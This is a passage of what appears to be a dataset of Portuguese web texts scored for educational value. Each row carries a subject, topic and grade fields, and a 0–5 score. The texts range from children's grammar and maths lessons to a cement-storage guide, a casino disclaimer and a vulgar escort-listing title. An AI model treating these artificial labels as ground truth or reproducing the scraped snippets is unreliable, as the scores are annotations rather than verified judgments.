taxas de juros, que geralmente são bastante altas. +Desta forma, você não cairá em golpes e nem correrá o risco de piorar a sua situação, entrando em uma “bola de neve” de contas, por não calcular as taxas de juros. +Autônomos +Para consumidores autônimos, conseguir um empréstimo pessoal para negativados pode ser uma tarefa árdua e cansativa, uma vez que fica mais difícil a comprovação de renda, visto que esta modalidade de tra...",original,original,original,original,2,0.4 +"ALARME: O Casino Bonuses Finder não é responsável por qualquer informação imprecisa sobre bónus, promoções, ou ofertas no website. Recomendamos que os jogadores verifiquem sempre as condições e que confirmem os bónus diretamente nos casinos online. +JOGO RESPONSÁVEL: O angola-bonusesfinder.com não é responsável por qualquer perda, dano ou levantamento negado, nem outros problemas que advenham da utilização dos casinos mencionados nas nossas revisões. O jogo poderá ter restrições geográficas ou mesmo ser ilegal em alguns países. +Copyright © 2005 - 2022 casinobonusesfinder.com Todos os Direitos Reservados +We use cookies as set out in our privacy policy. By clicking on this pop up, you agree to our policies.",original,original,original,original,1,0.2 +"Olá, pequenos exploradores da linguagem! Já pararam para pensar como as palavras são incríveis? Com elas, podemos contar histórias, expressar nossos sentimentos, aprender coisas novas e até mesmo fazer amigos! Mas para que tudo isso funcione direitinho, precisamos entender um pouquinho sobre a gramática. Não se assustem com esse nome! A gramática é como um manual de instruções para as palavras, nos mostrando como elas se organizam para formar frases que fazem sentido. + +Imagine que as palavras são peças de um quebra-cabeça. Cada peça tem seu lugar e, quando encaixadas corretamente, formam uma imagem linda e completa. Na gramática, aprendemos sobre os substantivos, que são os nomes de tudo que existe: pessoas (como a vovó, o Pedrinho), lugares (como a escola, o parque), animais (como o cachorro, o gato) e objetos (como a bola, o livro). Depois, descobrimos os adjetivos, que são como temperos deliciosos que dão sabor aos substantivos, dizendo como eles são: a bola *colorida*, o livro *interessante*, o cachorro *alegre*. + +E os verbos? Ah, os verbos são a ação! Eles nos mostram o que as pessoas, os animais e as coisas estão fazendo: o Pedrinho *corre*, o gato *mia*, a bola *rola*. Sem os verbos, nossas frases ficariam sem vida! Além disso, temos os artigos, que são como pequenos ajudantes que vêm antes dos substantivos para mostrar se estamos falando de algo específico (como *o* livro que eu te mostrei) ou de algo em geral (como *um* livro qualquer). Percebem como tudo se encaixa? + +A gramática não é um bicho de sete cabeças! É uma ferramenta que nos ajuda a usar as palavras com mais clareza e precisão. Quanto mais praticamos, mais fácil fica! Que tal começar a prestar atenção nas palavras que você usa no dia a dia? Observe como elas se juntam para formar frases, como os adjetivos dão cor aos substantivos e como os verbos dão vida às ações. + +E agora, uma perguntinha para vocês: qual é a sua palavra favorita e por quê? Compartilhe com seus amigos e professores! Descobrir a magia das palavras é uma aventura que dura a vida toda!",Português,Gramática básica,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional para os anos iniciais do ensino fundamental. Introduz conceitos básicos de gramática de forma lúdica e acessível, utilizando analogias e exemplos simples. Estimula a reflexão sobre o uso da linguagem e a criatividade, incentivando a participação ativa do aluno. A linguagem é clara, o conteúdo é relevante e a abordagem é adequada para a faixa etária.",5,1.0 +"CIRURGIA PLÁSTICA PORTO, Estética e Cirurgia Plástica.: Como é feita a lipoaspiração?: As cânulas são introduzidas através da pele e chegam ao tecido adiposo (camada que vem logo após a pele), de onde aspiram por meio de um ...",original,original,original,original,1,0.2 +"Totalmente repaginado e com cara de museu, o Centro de Memória Dorina Nowill - fundado pela professora brasileira que ficou cega aos 17 anos - reabre as portas hoje. O acervo da fundação, exposto desde 2002, agora ganha um espaço próprio e totalmente acessível. +A exposição convida o visitante a experimentar uma viagem sensorial e interativa, cheia de recursos sonoros e olfativos. É possível ""enxergar"" como um cego, seja por meio de equipamentos modernos - como uma caneta que, apontada para os objetos, conta o que eles são -, seja por meio dos tradicionais livros em braile, que tanto ajudaram e continuam ajudando os deficientes visuais. +""O objetivo é transformar este local no primeiro centro de referência histórica da inclusão de pessoas com deficiência visual no Brasil, dando ao circuito cultural da cidade de São Paulo uma proposta totalmente inclusiva, que agrega acessibilidade, cultura e educação"", explica a curadora do espaço, Viviane Sarraf. +As peças e recursos de exposição interativos mostram a trajetória dos cegos no Brasil, com a evolução das ferramentas e equipamentos que os auxiliam a ter uma vida independente e ativa. ""No início, os deficientes visuais sofriam com falta de perspectiva e preconceito. Hoje em dia, há muitas possibilidades de inclusão"", compara Viviane. +Visitas. O tour começa por uma réplica da sala de trabalho de Dorina Nowill, com mobília, objetos e livros que originalmente pertenceram à professora (leia mais sobre ela no quadro ao lado). Há até porta-retratos com fotos de familiares sobre a mesa. ""Ela gostava de receber os visitantes em sua sala, então a gente mantém essa tradição"", diz a curadora. +No espaço que concentra a maior parte da exposição, há dispositivos de áudio onde podem ser ouvidos trechos de livros falados com a tecnologia de cada época, década a década, dos anos 1970 até a atualidade. Ao lado, as mídias que também evoluíram - de grandes fitas e gravadores arcaicos que eram emprestados pela fundação aos deficientes até os CDs com gravações feitas em arquivos MP3. +Tradicional e moderno. Os equipamentos também são bem interessantes. Há regletes - uma variação do aparelho de escrita inventado por Louis Braille, espécie de gabarito utilizado para escrever, à mão, em braile -, máquinas de escrever em braile de todos os tipos, das antigas às modernas, além de computadores equipados com softwares modernos de leitura. +Uma das invenções mais curiosas do acervo é uma engenhoca americana dos anos 1960 que, com uma pequena câmera, transforma textos em relevo para que o cego possa sentir as palavras. Mais recente, um equipamento inventado no Brasil lê as cores - e pode ser usado pelo cego para escolher roupas ou mesmo identificar notas de dinheiro. +Em outro espaço do museu, há uma reprodução do ambiente doméstico do deficiente visual. Um relógio adaptado permite uma leitura táctil das horas, pelo relevo. Joias, batons e esmaltes também ganharam identificação em braile. E há a seção das bengalas, desde as mais antigas, muitas improvisadas, até as leves, coloridas e modernas. +Percorrer o espaço, mais do que entender o dia a dia dos deficientes visuais, permite ao visitante se aproximar dessa realidade - o que facilita a convivência e amplia a acessibilidade. +Mas a visita não precisa acabar aí. Depois de conhecer o Centro de Memória, fica o convite para ver os outros espaços da Fundação: a gráfica em braile, a biblioteca e os estúdios de gravação de livros falados, entre outros, sempre com mediadores prontos para explicar a atividade.",original,original,original,original,4,0.8 +"iSemiologia - Tenha em mãos o melhor conteúdo em semiologia médica. Um conteúdo prático para o dia-a-dia. Tudo isto alinhando com a metodologia e qualidade PEBmed Apps. BAIXE HOJE MESMO!★★★★★ ""Excelente App, bastante cheio de informações úteis na prática médica. De fácil acesso e com boa interface. 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Mas por ser quimicamente reativo com a água, tem que ser armazenado, transportado e manuseado com cuidado, para preservar a sua qualidade e evitar o desperdício. +Veja abaixo algumas dicas de como armazenar as bolsas de cimento para não endurecer e acabar perdendo dinheiro. +Mantenha cimento protegido da umidade +O cimento é altamente sensível à umidade, e ele endurece e formas aglomerados quando exposto à água ou umidade. Então o local de armazenamento dos sacos de cimento, é importante para que eles se mantenham protegidos da umidade. Os sacos de cimento devem ser armazenados em uma estrutura seca e fechada e, protegidos da chuva e da umidade e os sacos empilhados de cimento deve ser mantida cobertos com folhas impermeáveis ou lona. +Não coloque sacos de cimento diretamente no chão de concreto +Para proteger os sacos de cimento da umidade saindo do chão, é ideal armazenar os sacos em uma superfície coberta com um pallet de madeira ou similar e assim colocar os sacos de cimento por cima. +Mantenha os sacos de cimento protegidos durante o transporte +Para impedir que os sacos sejam perfurados ou danificados, certifique-se de quaisquer objetos pontiagudos sejam removidos do veículo antes de carregar os sacos. Ao carregar os sacos de cimento, verifique se eles estão empilhados em direções alternadas, cobertos com uma lona ou amarrado com firmeza para impedir o movimento durante o transporte. +Armazene os sacos cimento separadamente +Não guarde os sacos de cimento com adubos ou outros produtos, pois qualquer contaminação pode afetar a qualidade e o desempenho do cimento. +Forneça ventilação adequada quando armazenado em pallets em armazéns +Ao armazenar sacos de cimento em pallets, espécie de caixote de madeira, em armazéns, certifique-se de que tenha ventilação adequada para evitar o acúmulo de ar úmido. +Atenção: você sabia que os pallets depois de usados podem virar belos itens de decoração para a sua casa? Não sabia? Então, acesse a seguinte matéria e aprenda como fazer: passo-a-passo de móveis de pallet. +Gire os sacos de cimento +A força do cimento deteriora com o tempo assim gire o estoque para garantir a usabilidade. Verifique a data com os construtores e use o estoque mais antigo primeiro. +Guarde cuidadosamente os restos de cimento +Se você usou o cimento e o deixou em sacos rasgados ou abertos realmente deve ser utilizados logo na próxima vez, mas idealmente, devem ser colocar de novo em novos sacos plásticos ou grandes sacos de lixo e fechar firmemente com corda ou fita. +Ao manusear os sacos de cimento: +1- Certifique se os sacos de cimento não são descartáveis. Isto pode enfraquecer e danificar a embalagem. +2- Role os sacos de cimento antes de levantar. Isso ajuda a soltar o cimento, e reduz as chances de divisão. +Veja também: Tudo sobre como fazer um bom concreto. +3- Quando transportar sacos de cimento individuais, não os carregue, segurando nas extremidades ou nas costas. Isso ajudará a evitar que o saco faça no meio uma divisão, e também reduz a pressão sobre os ombros e costas. +4- Certifique se os sacos de cimento não são armazenados na posição vertical ou de lado, mas na horizontal, deitados, com suas partes largas para baixo e para cima. +COMPARTILHE! +concreto dicas +Gerar link +Facebook +Twitter +Pinterest +E-mail +Outros aplicativos +Comentários +Manoel disse… +Primeiro crie consciência no pião - do contrario ele diz sim sim mas faz o que bem entende. +4 de abril de 2016 23:12 +Marcelo heringer disse… +Parabéns +28 de outubro de 201...",original,original,original,original,3,0.6 +"Se você não conhece a nossa empresa ainda e acaba de encontrar-nos pela Internet, gostaríamos de ter notícias suas! Por favor, informe-nos do q... +A Agência de Empregos Vem Ser, patrocina Quatro equipes de Voleibol, feminina e masculina, onde lev... +Perguntas e respostas que podem lhe ajudar a entender melhor como funciona a questão estágio. +Lei de Estágio completa 10 anos como marco nas relações entre estudantes, empresas e instituições.",original,original,original,original,1,0.2 +"Home Colunas Atividade física em foco Atividade física em foco | Obesidade Pt. 1 +Obesidade (Foto: Reprodução/Google) +Esses números fazem com que a obesidade seja vista como uma epidemia, um problema de saúde pública mundial. Para se ter uma ideia, o custo do tratamento da obesidade, nos países industrializados, atinge de 2% a 8% do gasto total com a saúde. No Brasil, uma pesquisa realizada em 2003 demonstrou que aproximadamente 1 bilhão e 100 milhões de reais são gastos a cada ano com a obesidade e as doenças associadas a ela (Porto et al. 2007). +No Brasil, um fator de destaque foi a mudança no cardápio da população, que contribuiu para diminuir a desnutrição infantil, mas, ao mesmo tempo, aumentou o sobrepeso e a obesidade, processo conhecido por transição nutricional (Monteiro e Conde, 1999) .Citar apenas alguns motivos pelos quais essa epidemia está acontecendo seria um equívoco, pois a obesidade é consequência de vários aspectos interligados e influenciados entre si, como: genético, cultural, financeiro, metabólico, nutricional, ambiental etc. Muitos estudos têm demonstrado o fator genético como uma das principais causas, pois tudo indica que uma desordem poligênica, onde os genes agem conjuntamente, pode favorecer o acúmulo de gordura. +AnteriorInscrições para castração de cães fêmeas estão encerradas +PróximoCâmara Municipal promove Fórum da Juventude em Ouro Fino",original,original,original,original,4,0.8 +"Nasceu em 1957, Lobito, Angola, reside em Lisboa desde os 9 anos de idade. Viveu e teve atelier no Bairro do Pigalle em Paris, tendo passado longos períodos de criação, estudo e convívio em Milão, Hanôver, Moscovo e Madrid. Fundador com outros prestigiados homens da cultura, das Escolas Artísticas “Pontos de Cultura” no Brasil, a convite do então Ministro da Cultura, Músico Gilberto Gil e do Professor Alípio de Freitas, existindo cerca de 3.000. Trabalhou com o prestigiado escultor Cardenas restaurador do Brooklyn Museum em New York. Realizou mais de duas centenas de exposições nacionais e internacionais, tendo aí sido atribuído vários prémios. Realizador de cinema de animação, no canal televisivo SIC. Curador de exposição lusófonas de artes plásticas na UCCLA (União das Cidades Capitais de Língua Portuguesa). +A sua obra plástica reparte-se por várias modalidades. Quando jovem, no tempo da ditadura governamental em Portugal, dedicou-se á pintura realista com murais pintados na via pública, retratando a luta de classes e o colonialismo.",original,original,original,original,2,0.4 +"Estagio Administrativo Ponta Grossa - Mirojobs: Empregos Curitiba ,Ponta Grossa, Paranaguá e Cascavel +Home Estágios PONTA GROSSA Estagio Administrativo Ponta Grossa +Estagio Administrativo Ponta Grossa +Target 10/02/2018 Estágios, PONTA GROSSA, +Empresa:.Jumper +sou_eider@hotmail.com",original,original,original,original,1,0.2 +"Idade Média: Floresta Repleta de Símbolos. +É preciso compreender a idéia que na Idade Média se fazia da natureza e do mundo. O universo era um livro imenso, escrito pela própria mão de Deus, onde cada ser era uma palavra cheia de significado. +O ignorante olha, vê figuras para se instruir. O sábio se eleva das coisas visíveis às invisíveis, e vendo a natureza, nela lê o pensamento de Deus. +A ciência não consistia então em estudar as coisas em si mesmas, mas em penetrar os ensinamentos que Deus nelas pôs para nós homens. +A rosa, símbolo dos mártires e das virgens +Assim, Pierre de Mora, Cardeal e Bispo de Cápua, contemplando rosas em seu jardim, não se enternecia com sua beleza pagã, mas desenvolvia outro tipo de pensamento: ""A rosa é a legião dos mártires, ou ainda o coro das virgens. Quando é vermelha, é o sangue dos que morreram pela Fé, e quando é branca representa a pureza virginal. Nasce no meio dos espinhos, como os mártires se elevam no meio dos hereges e perseguidores, ou como uma virgem pura brilha no meio da iniqüidade. +A Santa Igreja simbolizada por uma pomba +Olhando uma pomba, Hugues de Saint-Victor pensa na Santa Igreja: ""A pomba tem duas asas, como há para o cristão dois gêneros de vida: a ativa e a contemplativa. As penas azuis das asas indicam o pensamento do Céu. As nuances incertas do resto do corpo e o furta-cor fazem pensar num mar agitado, e simbolizam o oceano de paixões humanas em que navega a Igreja. Os olhos da pomba significam o olhar cheio de sabedoria que a Igreja lança sobre o futuro. A pomba tem, por fim, patas avermelhadas, pois a Igreja caminha no mundo com os pés embebidos no sangue de seus mártires"". +As pedras preciosas também são símbolos +Marbode, Bispo de Rennes, ao considerar pedras preciosas, descobre misteriosas consonâncias entre suas cores e a alma humana. O berilo brilha como a água que reflete o sol, e aquece a mão que o segura. Não é exatamente a imagem do cristão, iluminado e aquecido até suas profundezas pelo sol que é Jesus Cristo? O vermelho do rubi parece refletir chispas de fogo. É a imagem dos mártires, que derramam seu sangue e rezam pelos algozes. +A luz, as trevas +No mundo, tudo é símbolo. O sol, as constelações, a luz, as estações do ano, tudo nos fala uma linguagem solene. No inverno, quando os dias diminuem tristemente, quando a noite parece resolvida a triunfar para sempre da luz, em que pensa a alma do medieval? Pensa nos longos séculos de trevas que precederam a vinda de Jesus Cristo, compreendendo o papel importante que a luz e as trevas representam no divino espetáculo. +Nessas semanas de dezembro, chamadas ""do Advento"", as cerimônias litúrgicas exprimem a ansiedade do mundo antigo pela vinda do Salvador, que se dá exatamente no solstício de inverno, no momento em que a luz vai reaparecer no mundo e crescer. +As estações do ano +O ano é todo feito á imagem do homem. A primavera, que renova o mundo, é a imagem do Batismo, que renova o homem no albor de sua vida. O verão, com seus ardentes calores e sua luz resplandecente, nos faz imaginar a luz do outro mundo, o brilho do Amor de Deus na vida eterna. O outono, estação das colheitas e das vindimas, é o temível símbolo do Juízo Final, do grande dia em que colheremos o que tivermos semeado. Por fim o inverno, que é a figura da morte, a aguardar o homem e o mundo visível. +É assim que o medieval caminhava, numa floresta repleta de símbolos, sob um céu povoado de idéias.",original,original,original,original,4,0.8 +Acompanhantes & Massagistas Aparecida d`Oeste - SP | Morango VIP - Acompanhantes - Massagistas - Acompanhantes Brasil - Escorts Brazil - Acompanhantes de Luxo - GP - Massagens - Putas,original,original,original,original,0,0.0 +"A Máquina do Xadrez = Dia Internacional do Xadrez = 19 de Novembro _ O Pensador Selvagem +/ A Máquina do Xadrez = Dia Internacional do Xadrez = 19 de Novembro +UM DOS MAIORES PRODÍGIOS DA HISTÓRIA DO XADREZ +Nasceu em 19 de novembro de 1888, uma mente que com toda a certeza mudou o mundo do xadrez. Natural da capital cubana de Havana, o pequeno menino observava atentamente todos os movimentos do pai no tabuleiro, sendo aos 4 anos capaz de alegar que esse havia cometido um erro e logo em seguida vencendo seu pai duas vezes seguidas. Nenhum dos dois sabia o que tinha acabado de acontecer, mas o mundo em breve descobriria… +… que naquele momento havia surgido um dos maiores enxadristas de todos os tempo: +E em sua homenagem comemoramos na sua data de nascimento, Dia 19 de Novembro +Da mais tenra idade ao começo do sucesso +Após esse episódio com seu pai, José foi levado ao médico por suspeita de problemas mentais, e este o proibiu de jogar xadrez. Felizmente, isso não aconteceu e aos 8 anos ingressou no Clube de Xadrez de Havana, onde aprimorou consideravelmente suas técnicas. +Aos 13 anos em 1901, venceu um match contra o então campeão cubano JUAN CORZO, provando que sua chegada marcaria seu nome na história do xadrez. +Aos 17 anos vai para os Estados Unidos para estudar engenharia na renomada Universidade de Columbia, onde tinha o desejo de jogar baseball. Durante o curso, sua inteligência e raciocínio veloz chegaram a despertar suspeitas entre seus professores devido sua precisão e rapidez nas respostas. No mesmo ano entra no Clube de Xadrez de Manhattan, onde participa de uma sessão de exibição, promovida pelo então campeão mundial da época, o alemão Emanuel Lasker. Nesse momento Capablanca fascinaria o mundo mais uma vez, derrotando o então campeão do mundo em uma partida. +Com isso, tem início sua ascensão. Em 1908 abandona a engenharia para dedicar-se ao xadrez. Entre o final de 1908 e início de 1909, viaja pelos EUA a fim de enfrentar diversos adversários e a sequência de resultados positivos começa a SURPREENDER O MUNDO, foram ao todo 734 partidas com 703 vitórias, 19 empates e apenas 12 derrotas. +Tal sequência incrível de resultado deu a oportunidade de realizar uma partida com o então campeão americano Frank Marshal. Com a vitória sobre o americano, o gênio de Havana recebe um convite para um Torneio Internacional, no qual derrota TODOS os melhores jogadores da época, menos Lasker que não participou. +Com esse título, Capablanca desafia o alemão inúmeras vezes para disputar o título mundial, entretanto com medo de perder seu posto de número 1, Lasker consegue evitar o combate. Infelizmente, em 1914, começa a Primeira Guerra Mundial, o que suspendeu as atividades internacionais de xadrez indefinidamente. +A guerra termina em 1918 e com o imenso clamor popular por uma disputa entre Lasker e o expoente cubano aumentando cada vez mais, o Clube de Xadrez de Havana organiza a tão esperada competição entre os enxadristas no mês de março e abril de 1921. Com um placar inimaginável de 4 vitórias, 10 empates e NENHUMA derrota, enfim José Raul Capablanca entra para o Grupo dos Campeões Mundiais de Xadrez e 8 meses após, casa-se em Cuba, com Glória Simoni Betancourt e tiveram um casal de filhos. O casamento não teve êxito. +Destaca-se que entre 1916 e 1924, Capa, como ficou conhecido, permaneceu invicto, vencendo além do título mundial, diversos outros torneios. Entre eles, o torneio de Londres, no qual também foram discutidos os termos e os regulamentos para futuros campeonatos mundiais com a finalidade de evitar problemas como o de atraso, a exemplo do que tinha acontecido com si próprio, com isso um documento foi assinado pela maioria dos grandes enxadristas da época. +Vale ressaltar também que o campeão do mundo, no ano de 1922, realizou uma simultânea contra 103 oponentes, a maior de todas naquela época, ganhando de 102 e empatando uma partida, tal fato rendeu-lhe o recorde de melhor porcentagem de vitórias em simultâneas, sendo considerad...",original,original,original,original,4,0.8 +"Quais são suas forças pessoais? - Educação Emocional Positiva ® +Miriam novembro 29, 2019 1 comentário Mais +Na publicação de terça-feira, falamos das virtudes e das forças pessoais. Se você perdeu o post, confira aqui. +Hoje, portanto, quero elencar as 24 forças pessoais, segmentadas nas seis virtudes. +Descubra suas forças pessoais em http://viacharacter.org. +1. Virtude da sabedoria, que inclui as forças pessoais cognitivas +A curiosidade acerca do mundo ocasiona receptividade às experiências e flexibilidade em relação a questões que não se enquadram em conceitos preestabelecidos. +As pessoas curiosas gostam e sentem-se estimuladas pela incerteza. +Além disso, a curiosidade pode ser especifica, global e generalizada. +Ela se envolve ativamente com a novidade e a absorção passiva de informações. Por outro lado, seu oposto é o rápido desinteresse. +b. Gosto pela aprendizagem +Esta força envolve adorar aprender coisas novas, seja em uma sala de aula ou como autodidata. +Gostar de escola, de leitura, de museus e interessar-se por todas as oportunidades de aprendizagem, sendo especialista em alguns setores, são algumas das consequências de quem tem essa força pessoal. +Ainda, o conhecimento do indivíduo é valorizado pelos que fazem parte de seu círculo social. +No entanto, ele gosta de aprender mesmo que não tenha incentivos externos. +c. Critério/Pensamento crítico/Lucidez +É muito importante analisar as questões, examinando-as por todos os lados, além de tomar decisões confiando em evidências sólidas e ser capaz de mudar de ideia. +Critério é o exercício de examinar a informação racional e objetivamente, a serviço do próprio bem, e também do bem dos outros. +Trata-se de um sinônimo de pensamento crítico, que orienta para a realidade. +Significa raciocinar de um modo que se favoreça e confirme aquilo em que se acredita. +Esta é uma parte significativa do traço saudável de não confundir os próprios desejos e necessidades com os fatos da vida. +d. Habilidade/Originalidade/Inteligência prática/esperteza +O indivíduo com esta força pessoal, ao desejar algo, é capaz de encontrar um comportamento adequado para atingir o objetivo. +Raramente ele se contenta em fazer as coisas de maneira convencional. +Essa força inclui o que é chamado de criatividade, no entanto não se limita às experiências tradicionais do ramo das artes. +Também pode ser chamada de inteligência prática. +Entre as forças pessoais, ela é a mais madura, pois é a que mais aproxima o indivíduo do próprio saber. +Ele tem um modo de ver o mundo que faz sentindo para si e para os outros; os outros recorrem à sua experiência para ajudá-los a resolver e adquirir perspectivas de si mesmos. +Pessoas sábias são especialistas no que há de mais importante e complicado na vida. +2. Virtude da coragem, que compreende as forças pessoais emocionais +a. Bravura/valentia +Bravura é mais do que audácia diante do fogo, quando o bem-estar físico é ameaçado; não é recuar diante das ameaças, dos desafios, das dores ou das dificuldades. +Após estudos, estabeleceu-se a distinção entre bravura moral, física e psicológica. +A pessoa dotada de bravura consegue separar os componentes emocionais e comportamentais do medo, resistindo à resposta de fuga e enfrentando a situação assustadora, apesar do desconforto produzido pelas reações subjetivas e físicas. +b. Perseverança/Dinamismo/Diligência +A pessoa dinâmica termina o que começa, assume projetos difíceis e os mantém até o fim, sem perder o bom humor. +Além disso, é flexível, realista e não é perfeccionista. Faz o que se propõe a fazer com o mínimo de reclamação. +c. Integridade/Autenticidade/Honestidade +O indivíduo honesto não apenas diz a verdade, mas vive de maneira genuína e autêntica. +Além disso, é prático e sem fingimento. +Integridade ou autenticidade significa representar as próprias intenções e compromissos, para com os outros e para consigo, de forma sincera, por meio de palavras e ações. +d. Animação/Paixão/Entusiasmo +Trata-se da propensão a atirar-se de corpo e alma nas at...",original,original,original,original,4,0.8 +"O Museu de Malacologia reúne mais de 45 mil conchas do mundo inteiro, todas classificadas. Entre elas, exemplares raros e espécies já extintas. +O Núcleo de Malacologia comporta museu interativo, laboratórios, sala de microscopia, malacotério, sala de estudos especiais e biblioteca especializada, onde se encontram livros dos séculos XVIII e XIX, com ilustrações originais em xilogravura e desenho. +Professores e diretores de escolas interessados em agendar visitas ao Museu Interativo e à Coleção de Malacologia da UFJF devem entrar em contato com o Museu de Malacologia, por e-mail ou telefone. +Mensagem eletrônica: Este endereço de email está sendo protegido de spambots. Você precisa do JavaScript ativado para vê-lo. +O centro de ciências foi criado para estreitar a relação entre sociedade e produção científica, o espaço esta focado na pesquisas e divulgação da ciência, recebe estudantes de todo o país. Possui laboratórios e salas de informática e de vídeo. +As visitas podem ser agendadas através dos telefones: 3229-7606 ou 3229-5923. Os horários disponíveis são de 8h30 às 11h e de 14h às 16h30. O Centro de Ciências está localizado na Rua Visconde Mauá, n° 300, no bairro Santa Helena – mais precisamente, anexo ao Colégio de Aplicação João XXIII. +Visitação: As visitas devem ser agendadas por telefone. +Localização: Faculdade de Farmácia e Bioquímica - Campus da UFJF.",original,original,original,original,4,0.8 +"A Rua Chico Mendes, que liga os bairros Cordoeira e Braunes será interditada para obras de contenção de encosta a partir desta terça-feira, 20. O prazo para conclusão dos serviços é de até seis meses. Segundo a Secretaria Municipal de Obras, será construído um muro de concreto (cortina atirantada) com 50 metros de extensão e sete de altura para evitar danos que possam ser causados por chuvas. “A obra vai trazer segurança para os imóveis construídos na área, ampliar a largura da pista e restabelecer o tráfego de veículos”, informou. +A rua está com o tráfego de veículos pesados impedido desde a tragédia climática de 2011, quando um deslizamento de encosta causou a erosão de parte da via. O governo disse ainda que havia antecipado a licitação para o serviço, mas os recursos só foram depositados pelo Ministério da Integração no início deste mês. O montante de R$ 870 mil é fruto de uma emenda parlamentar do deputado federal Glauber Braga (Psol). +Na Rua Maria da Glória Neno, em Olaria, foram substituídas manilhas da rede de águas pluviais que estavam com avarias devido às chuvas recentes. O subprefeito Cláudio Pereira lembra que esses e outros serviços podem ser reivindicados pelos moradores de Olaria, Cônego e Cascatinha à subprefeitura, que funciona na Avenida Júlio Antônio Thurler, 93, em Olaria, ou pelo telefone 2521-5533. +Associação espera resposta positiva do Ministério das Cidades para que obras comecem ainda este ano +Vamos Florir começa a mudar a cara de praças da cidade +Projeto da prefeitura em parceria com empresários através da Acianf teve início em maio e vai se estender de Mury a Conselheiro",original,original,original,original,1,0.2 +"Você já se sentiu como um detetive tentando solucionar um mistério? Pois saiba que resolver problemas de matemática é muito parecido! Em vez de pistas escondidas em um livro, você encontra informações e números que, quando organizados, revelam a resposta. A matemática, mais do que fórmulas e contas, é uma ferramenta poderosa para entender o mundo ao nosso redor. E a resolução de problemas é a chave para destravar esse poder. + +Mas como começar essa aventura? O primeiro passo é entender o problema. Leia com atenção! Sublinhe as informações importantes, identifique o que está sendo perguntado e, se precisar, faça um desenho ou esquema para visualizar a situação. Imagine, por exemplo, que você está planejando uma festa e precisa calcular quantos refrigerantes comprar. O problema dirá quantas pessoas irão à festa e quantos copos de refrigerante cada pessoa deve beber. Essas são as informações cruciais para começar! + +Depois de entender o problema, é hora de planejar a solução. Pense nas operações matemáticas que podem te ajudar: adição, subtração, multiplicação ou divisão. Voltando ao exemplo da festa, você precisará multiplicar o número de pessoas pela quantidade de refrigerante por pessoa para saber o total necessário. Às vezes, um problema pode exigir mais de uma operação! Não tenha medo de experimentar e testar diferentes caminhos. O importante é ter um plano. + +Com o plano em mãos, é hora de colocar a ""mão na massa"" e realizar os cálculos. Atenção aos detalhes! Um pequeno erro pode levar a um resultado incorreto. Use uma calculadora, faça os cálculos em uma folha separada e confira os resultados. No nosso exemplo, se você errar na multiplicação, pode comprar refrigerante demais ou de menos! E, claro, não se esqueça da unidade de medida: estamos falando de litros, copos, ou garrafas? + +Finalmente, depois de encontrar a resposta, pare um momento para verificar se ela faz sentido. A resposta é razoável? Ela responde à pergunta original? Se a resposta for ""não"", volte e revise seus cálculos e seu plano. Talvez você tenha interpretado o problema de forma incorreta ou usado a operação errada. A persistência é fundamental! + +Resolver problemas de matemática não é apenas sobre encontrar a resposta certa, mas sobre desenvolver o raciocínio lógico, a capacidade de análise e a criatividade. É como construir um quebra-cabeça: cada peça (informação) se encaixa em um lugar específico, formando um quadro completo (a solução). Então, da próxima vez que você se deparar com um problema de matemática, lembre-se: você é um detetive! Use suas habilidades e divirta-se desvendando o mistério. E aí, qual será o próximo problema a ser resolvido?",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a resolução de problemas matemáticos de forma lúdica e acessível, utilizando a analogia com a detetive. Apresenta os passos para a resolução de problemas (entender o problema, planejar a solução, realizar os cálculos e verificar a resposta) de forma clara e didática, com exemplos práticos e adequados ao ensino fundamental. Estimula o raciocínio lógico, a capacidade de análise e a criatividade.",5,1.0 +"Embora tenha recebido esta denominação, a Escola Tropicalista Baiana, não se constituiu como uma instituição de ensino formal, mas como um grupo de médicos estabelecidos na Bahia que se dedicaram à prática de uma medicina voltada para a pesquisa da etiologia das doenças tropicais que acometiam as populações pobres do país, principalmente os negros escravos. Este grupo teria se formado por volta de 1860, e o nome de Escola Tropicalista Baiana lhe foi atribuído posteriormente. +Foi, sobretudo, Antônio Caldas Coni (1952) quem popularizou a noção da importância de uma escola de medicina tropical no século XIX na Bahia. A seu ver, a medicina baiana estaria dividida em três épocas: +1ª - empírica (1500-1808), fase em que predominou a medicina de origem indígena, africana e jesuítica; +2ª -sistemas teóricos ou época pré-científica (1808-1866), fase em que houve a influência dos sistemas especulativos europeus, baseados em teorias médico-filosóficas, nascidos durante o século XVIII de autoria de François Joseph Broussais (1772-1838 - terapêutica sanguinária), de Paul Joseph Barthez (1734-1806 - doutrina vitalista) entre outros; +3ª - científica (1866 aos nossos dias), fase em que os trabalhos de Otto Edward Henry Wucherer, John Ligertwood Paterson e José Francisco da Silva Lima foram publicados na Gazeta Médica da Bahia, demonstrando o espírito de observação empregado na sua elaboração. Coni considerou que esta última fase se subdividiu em 3 outros períodos: o áureo, o de decadência e o da reação de Raimundo Nina Rodrigues. +Logo, embora os chamados ""tropicalistas"" se voltassem para o estudo das doenças de climas quentes, ou àquelas que eles se referiam como ""patologia intertropical"", eles próprios (os médicos do grupo baiano) nunca se autodenominaram de ""tropicalistas"", designação que lhes foi atribuída posteriormente. +Na realidade, este grupo de ""tropicalistas"" contribuiu para a reformulação do modelo até então aceito da nosologia (classificação de doenças) brasileira, questionando os conhecimentos europeus sobre os problemas de saúde pública no Brasil. Para entender as doenças no Brasil rejeitaram o determinismo racial e climatológico e a idéia de que os habitantes dos trópicos degeneravam irreversivelmente. Defendiam a idéia de que a maioria das doenças eram universais, mas que a umidade e o calor as exacerbavam, assim como as particularizavam. Costumavam associar as doenças nos trópicos à pobreza, má nutrição, falta de saneamento, e às más condições de vida dos escravos. Desenvolveram, assim, trabalhos originais para a época em que foram produzidos, especialmente descobertas relacionadas à ancilostomíase, à filariose (elefantíase), ao ainhum (alteração nos dedos do pé), contribuindo para promover debates sobre parasitologia, e algumas doenças como o beribéri, a tuberculose, a lepra, dracunculose e o maculo (diarréia que acometia os escravos novos) (PEARD, 1997). +A formação da Escola Tropicalista Baiana partiu das iniciativas dos médicos estrangeiros radicados na Província da Bahia - Otto Edward Henry Wucherer, de descendência luso-germânica, John Ligertwood Paterson, de origem escocesa e José Francisco da Silva Lima, português. Com base em conhecimentos médicos europeus, as investigações realizadas por esse grupo seriam expressão das novas disciplinas que surgiam durante o século XIX (anatomia patológica, parasitologia e bacteriologia). Contrapunham-se, assim, ao ensino médico oficial, representado na época pela Faculdade de Medicina da Bahia e pela Faculdade de Medicina do Rio de 